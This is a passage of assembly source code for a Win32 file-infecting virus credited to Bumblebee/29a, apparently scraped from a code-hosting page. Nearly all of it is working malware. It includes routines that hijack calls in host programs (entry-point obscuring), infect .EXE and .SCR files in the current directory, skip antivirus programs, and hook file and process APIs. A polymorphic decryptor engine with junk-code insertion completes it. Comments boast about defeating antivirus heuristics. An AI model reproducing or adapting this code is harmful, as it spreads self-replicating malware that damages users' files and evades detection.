push dword ptr [fileAttrib+ebp]
push dword ptr [fNameAddr+ebp]
call dword ptr [_SetFileAttributesA+ebp]
infectionError:
popad
ret
;
; This my 'search EPO' routine. Searches for a call into the code section
; that points to:
;
; push ebp
; mov ebp,esp
;
; This is the way the high level lenguages get the arguments used to call
; a procedure. If this code is found i assume the call found it's correct
; and i patch it to jump into the virus.
;
; I tested selecting the call randomly, but this is not needed. There
; could be calls that points the desired code and call that are not
; useful for the virus. Av cannot know wich is the call patched utill
; it finds it. Moreover using 1st found call i'm more sure that the virus
; will be executed! And this is good enought to fuck most cool heuristics.
;
searchEPO:
pushad
mov edi,dword ptr [esi+28h] ; get host EP
xor ecx,ecx
mov cx,word ptr [esi+06h] ; number of sections
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr
sectionLoop: ; look for code section
mov ebx,dword ptr [esi+0ch]
add ebx,dword ptr [esi+08h] ; test it's inside this
cmp edi,ebx ; section
jb sectionFound
add esi,28h
dec ecx
jnz sectionLoop
stc
jmp searchEPOOut
sectionFound:
test dword ptr [esi+24h],10000000h ; avoid this kind of section
jnz searchEPOFail ; we can corrupt it!
push esi
sub edi,dword ptr [esi+0ch] ; get raw address
add edi,dword ptr [esi+14h]
mov ecx,dword ptr [esi+10h]
cmp ecx,edi
jna searchEPOFail
sub ecx,edi
add edi,dword ptr [mapMem+ebp]
mov ebx,edi
add ebx,ecx
sub ebx,10h ; high secure fence
callLoop: ; loop that searches
cmp byte ptr [edi],0e8h ; for the call
jne continueCallLoop
mov edx,edi
add edx,dword ptr [edi+1]
add edx,5
cmp ebx,edx
jb continueCallLoop
cmp edx,dword ptr [mapMem+ebp]
jb continueCallLoop
mov esi,edx
mov dx,word ptr [esi]
cmp dx,08b55h
jne continueCallLoop
mov dx,word ptr [esi+1]
cmp dx,0ec8bh
jne continueCallLoop
mov dword ptr [EPOAddr+ebp],edi
sub edi,dword ptr [mapMem+ebp]
pop esi
add edi,dword ptr [esi+0ch] ; get rva address
sub edi,dword ptr [esi+14h]
mov dword ptr [EPORva+ebp],edi
clc
jmp searchEPOOut
continueCallLoop:
inc edi
loop callLoop
searchEPOFail:
pop esi
stc
searchEPOOut:
popad
ret
;
; This makes a light EPO. Looks for space in the code section to
; put there a jump to virus code. The header is patched but this
; patch is less notorious. This EPO requires phys size of section
; bigger than virtual size + 5 (the size of the jump).
;
lightEPO:
pushad
mov edi,dword ptr [esi+28h] ; get host EP
xor ecx,ecx
mov cx,word ptr [esi+06h] ; number of sections
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr
lightSectionLoop: ; look for code section
mov ebx,dword ptr [esi+0ch]
add ebx,dword ptr [esi+08h] ; test it's inside this
cmp edi,ebx ; section
jb lightSectionFound
add esi,28h
dec ecx
jnz lightSectionLoop
lightEPOFail:
stc
jmp lightEPOOut
lightSectionFound:
test dword ptr [esi+24h],10000000h ; avoid this kind of section
jnz lightEPOFail ; we can corrupt it!
mov eax,dword ptr [esi+08h] ; virtual size
add eax,5 ; plus the code we add
cmp eax,dword ptr [esi+10h] ; bigger than phys size?
ja lightEPOFail
mov edi,dword ptr [mapMem+ebp] ; get raw address
add edi,dword ptr [esi+08h]
add edi,dword ptr [esi+14h]
mov dword ptr [esi+08h],eax ; increase 5 bytes
mov dword ptr [EPOAddr+ebp],edi
sub edi,dword ptr [mapMem+ebp]
add edi,dword ptr [esi+0ch] ; get rva address
sub edi,dword ptr [esi+14h]
mov dword ptr [EPORva+ebp],edi
clc
lightEPOOut:
popad
ret
;
; Infects PE files in current directory.
;
infectDir:
pushad
lea esi,find_data+ebp
push esi
lea esi,fndMask+ebp
push esi
call dword ptr [_FindFirstFileA+ebp]
inc eax
jz notFound
dec eax
mov dword ptr [findHnd+ebp],eax
findNext:
lea esi,find_data.cFileName+ebp
call stringUp
lea esi,stringBuffer+ebp
push edi ; test the string it's
sub edi,esi ; long enought
cmp edi,5
pop edi
jna skipThisFile
cmp dword ptr [edi-4],'EXE.'
je validFileExt
cmp dword ptr [edi-4],'RCS.'
jne skipThisFile
validFileExt:
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
cmp eax,4000h
jb skipThisFile ; at least 4000h bytes?
mov ecx,PADDING ; test if it's infected
xor edx,edx ; yet
div ecx
or edx,edx ; reminder is zero?
jz skipThisFile
testIfAv: ; let's search for strings
; that may appear in av progs
lea edi,avStrings+ebp
mov ecx,vStringsCout
testIfAvL:
push esi
mov ax,word ptr [edi]
testAvLoop:
cmp word ptr [esi],ax
jne contTestLoop
pop esi
jmp skipThisFile
contTestLoop:
inc esi
cmp byte ptr [esi+3],0 ; skip the ext
jne testAvLoop
pop esi
add edi,2
loop testIfAvL
call infect
skipThisFile:
lea esi,find_data+ebp
push esi
push dword ptr [findHnd+ebp]
call dword ptr [_FindNextFileA+ebp] ; Find next file
or eax,eax
jnz findNext
push dword ptr [findHnd+ebp]
call dword ptr [_FindClose+ebp]
notFound:
popad
ret
;
; Virus data ---------------------------------------------------------------
;
HOOKTABLEBEGIN label byte
dd offset _CreateFileA
dd offset Hook0
dd offset _MoveFileA
dd offset Hook1
dd offset _CopyFileA
dd offset Hook2
dd offset _CreateProcessA
dd offset Hook3
dd offset _SetFileAttributesA
dd offset Hook4
dd offset _GetFileAttributesA
dd offset Hook5
dd offset _SearchPathA
dd offset Hook6
HOOKTABLEEND label byte
EPOAddr dd 0
copyright db '< The Rain Song Coded By Bumblebee/29a >',0dh,0ah
; little tribute
message db 'ASIMOV Jan.2.1920 - Apr.6.1992',0
FSTAPI label byte
CrcCreateFileA dd 08c892ddfh
db 12
_CreateFileA dd 0
CrcMapViewOfFile dd 0797b49ech
db 14
_MapViewOfFile dd 0
CrcCreatFileMappingA dd 096b2d96ch
db 19
_CreateFileMappingA dd 0
CrcUnmapViewOfFile dd 094524b42h
db 16
_UnmapViewOfFile dd 0
CrcCloseHandle dd 068624a9dh
db 12
_CloseHandle dd 0
CrcFindFirstFileA dd 0ae17ebefh
db 15
_FindFirstFileA dd 0
CrcFindNextFileA dd 0aa700106h
db 14
_FindNextFileA dd 0
CrcFindClose dd 0c200be21h
db 10
_FindClose dd 0
CrcVirtualAlloc dd 04402890eh
db 13
_VirtualAlloc dd 0
CrcGetTickCount dd 0613fd7bah
db 13
_GetTickCount dd 0
CrcGetFileTime dd 04434e8feh
db 12
_GetFileTime dd 0
CrcSetFileTime dd 04b2a3e7dh
db 12
_SetFileTime dd 0
CrcSetFileAttributesA dd 03c19e536h
db 19
_SetFileAttributesA dd 0
CrcGetFileAttributesA dd 0c633d3deh
db 19
_GetFileAttributesA dd 0
CrcGetFileSize dd 0ef7d811bh
db 12
_GetFileSize dd 0
CrcGetSystemTime dd 075b7ebe8h
db 14
_GetSystemTime dd 0
CrcFatalAppExitA dd 0253ab1b9h
db 14
_FatalAppExitA dd 0
CrcMoveFileA dd 02308923fh
db 10
_MoveFileA dd 0
CrcCopyFileA dd 05bd05db1h
db 10
_CopyFileA dd 0
CrcCreateProcessA dd 0267e0b05h
db 15
_CreateProcessA dd 0
CrcSearchPathA dd 0f4d9d033h
db 12
_SearchPathA dd 0
CrcGetCurrentDirectoryA dd 0ebc6c18bh
db 21
_GetCurrentDirectoryA dd 0
CrcSetCurrentDirectoryA dd 0b2dbd7dch
db 21
_SetCurrentDirectoryA dd 0
CrcGetWindowsDirectoryA dd 0fe248274h
db 21
_GetWindowsDirectoryA dd 0
ENDAPI label byte
; AV: AVP, PAV, NAV, ...
; AN: SCAN, VISUSSCAN, ...
; DR: DRWEB
; ID: SPIDER
; OD: NOD-ICE
; TB: THUNDERBYTE... (this still exists?)
; F-: F-PROT, ...
avStrings dw 'VA','NA','RD','DI','DO','BT','-F'
vStringsCout equ (offset $-offset avStrings)/2
fndMask db '*.*',0
;
; Virus data ends here -----------------------------------------------------
;
;
; Polymorphic Engine (V2LPE - Very^2 Lame Polymorphic Engine)
;
; This is a simple polymorphic engine. Uses some piezes of code from
; AOCPE. Very, very lame :( But does its work as poly engine. May be
; its size the only one point for.
;
; EAX: CrptKey
; ECX: CodeSize (code to decrypt prepared yet)
; EDI: Destination address
;
; returns EAX: size of generated proc
;
GenDCrpt:
pushad ; setup regs status
xor eax,eax
lea edi,RegStatus+ebp
mov ecx,8
rep stosb
popad
mov byte ptr [RegStatus+ebp+_EBP],1
mov byte ptr [RegStatus+ebp+_ESP],1
mov dword ptr [CrptKey+ebp],eax
mov dword ptr [CodeSize+ebp],ecx
push edi
xor eax,eax
call GetReg
mov byte ptr [KeyReg+ebp],al
call AddShit
mov cl,_EBP
call AddPushREG
call AddShit
mov ax,0ec8bh
stosw
call AddShit
mov edx,04h
mov cl,_EBP
call AddMovREGMEMEBP
call AddShit
mov cl,byte ptr [KeyReg+ebp]
call AddPushREG
call AddShit
mov cl,byte ptr [KeyReg+ebp]
mov edx,dword ptr [CrptKey+ebp]
call AddMovREGINM
call AddShit
call GetReg
mov byte ptr [LoopReg+ebp],al
mov cl,al
call AddPushREG
call AddShit
mov cl,byte ptr [LoopReg+ebp]
mov edx,dword ptr [CodeSize+ebp]
call AddMovREGINM
call AddShit
push edi
mov cl,byte ptr [KeyReg+ebp]
call AddXorMEMEBPREG
call AddShit
mov cl,_EBP
mov edx,04h
call AddAddREGINM
call AddShit
mov cl,byte ptr [LoopReg+ebp]
mov edx,1
call AddSubREGINM
pop ebx
mov eax,edi
sub eax,ebx
push eax
mov al,75h
stosb
pop eax
mov ah,0feh
xchg al,ah
sub al,ah
stosb
call AddShit
mov cl,byte ptr [LoopReg+ebp]
call AddPopREG
call AddShit
mov al,byte ptr [LoopReg+ebp]
call FreeReg
mov cl,byte ptr [KeyReg+ebp]
call AddPopREG
call AddShit
mov cl,_EBP
call AddPopREG
call AddShit
mov al,0c3h
stosb
pop esi
sub edi,esi
mov eax,edi
ret
;
; Poly engine data
;
_EAX equ 0
_ECX equ 1
_EDX equ 2
_EBX equ 3
_ESP equ 4
_EBP equ 5
_ESI equ 6
_EDI equ 7
RegStatus db 8 dup(0)
KeyReg db 0
LoopReg db 0
CrptKey dd 0
CodeSize dd 0
Rnd db ?
;
; returns AL: selected register
;
GetReg:
xor eax,eax
mov al,byte ptr [CrptKey+ebp]
GetReg1:
and al,7
lea ecx,RegStatus+ebp
add ecx,eax
mov dl,byte ptr [ecx]
or dl,dl
jz GetReg0
inc al
jmp GetReg1
GetReg0:
mov byte ptr [ecx],1
ret
;
; AL: selected register to free
;
FreeReg:
and eax,7
lea ecx,RegStatus+ebp
add ecx,eax
mov byte ptr [ecx],0
ret
;
; Instruction generators
;
; EDI: Destination code
; ECX: Reg (if applicable)
; EDX: Inm (if applicable)
;
AddPushREG:
mov al,050h
add al,cl
stosb
ret
AddPopREG:
mov al,058h
add al,cl
stosb
ret
AddMovREGINM:
mov al,0b8h
add al,cl
stosb
mov eax,edx
stosd
ret
AddMovREGMEMEBP:
mov al,08bh
stosb
mov al,08h
mul cl
add al,85h
stosb
mov eax,edx
stosd
ret
AddXorMEMEBPREG:
mov al,031h
stosb
mov al,08h
mul cl
add al,45h
stosb
xor al,al
stosb
ret
AddAddREGINM:
or cl,cl
jnz AddAddREGINM0
mov al,05h
stosb
jmp AddAddREGINM1
AddAddREGINM0:
mov al,081h
stosb
mov al,0c0h
add al,cl
stosb
AddAddREGINM1:
mov eax,edx
stosd
ret
AddSubREGINM:
or cl,cl
jnz AddSubREGINM0
mov al,2dh
stosb
jmp AddSubREGINM1
AddSubREGINM0:
mov al,081h
stosb
mov al,0e8h
add al,cl
stosb
AddSubREGINM1:
mov eax,edx
stosd
ret
;
; Yet another lame shit generator by Bumblebee ;)
;
AddShit:
mov eax,dword ptr [CrptKey+ebp]
add byte ptr [Rnd+ebp],al
and al,1
jz AddShit2
xor eax,eax
mov al,byte ptr [Rnd+ebp]
lea edx,shit0+ebp
and al,7
mov cl,2
mul cl
add edx,eax
mov ax,word ptr [edx]
stosw
mov al,byte ptr [Rnd+ebp]
and al,2
jz AddShit2
lea edx,shit1+ebp
mov al,byte ptr [Rnd+ebp]
and al,3
mov cl,2
mul cl
add edx,eax
mov ax,word ptr [edx]
stosw
stosw
ret
AddShit2:
xor eax,eax
mov al,byte ptr [Rnd+ebp]
lea edx,shit0+ebp
and al,7
mov cl,2
mul cl
add edx,eax
mov ax,word ptr [edx]
stosw
lea edx,shit0+ebp
add edx,2
mov al,byte ptr [Rnd+ebp]
and al,3
mov cl,2
mul cl
add edx,eax
mov ax,word ptr [edx]
stosw
ret
; some do-nothing opcodes
shit0: dw 9090h,0db87h,0c987h,0d287h,4840h,434bh,4941h,4a42h
shit1: dw 0d0f7h,0d3f7h,0d1f7h,0d2f7h
crptSecondEND label byte
; Decryptor for the second layer.
secondLayerDecrypt:
push ebp
mov ebp,esp
push ecx
mov ebp,dword ptr [ebp+4]
mov ecx,crptSecondEND-crptSecondINI
secondLayerLoop:
not byte ptr [ebp]
inc ebp
loop secondLayerLoop
pop ecx ebp
ret
crptEND label byte
vEnd label byte
; This is a fake decryptor for the 1st generation. Allows the virus to
; skip the second layer decryptor.
crypt:
pop edx
lea edx,crptSecondINI
push edx
ret
;
; Temp data. Not stored into the file, only 1st generation.
;
BUFFERBEGIN label byte
stringBuffer db STRINGTOP dup(0)
tmpPath db STRINGTOP dup(0)
address dd 0
names dd 0
ordinals dd 0
nexports dd 0
expcount dd 0
memHnd dd 0
fHnd dd 0
fhmap dd 0
mapMem dd 0
fileSize dd 0
fileAttrib dd 0
fileTime0 dd 0,0
fileTime1 dd 0,0
fileTime2 dd 0,0
pad dd 0
fNameAddr dd 0
gensize dd 0
virtsize dd 0
myRVA dd 0
fstSec dd 0
find_data WIN32_FIND_DATA <0>
findHnd dd 0
semHook db 0
EPORva dd 0
BUFFEREND label byte
BUFFERSIZE equ BUFFEREND-BUFFERBEGIN
;
; For 1st generation only.
;
fakeHost:
push 0h
call ExitProcess
Ends
End inicio
Reference in New Issue Copy Permalink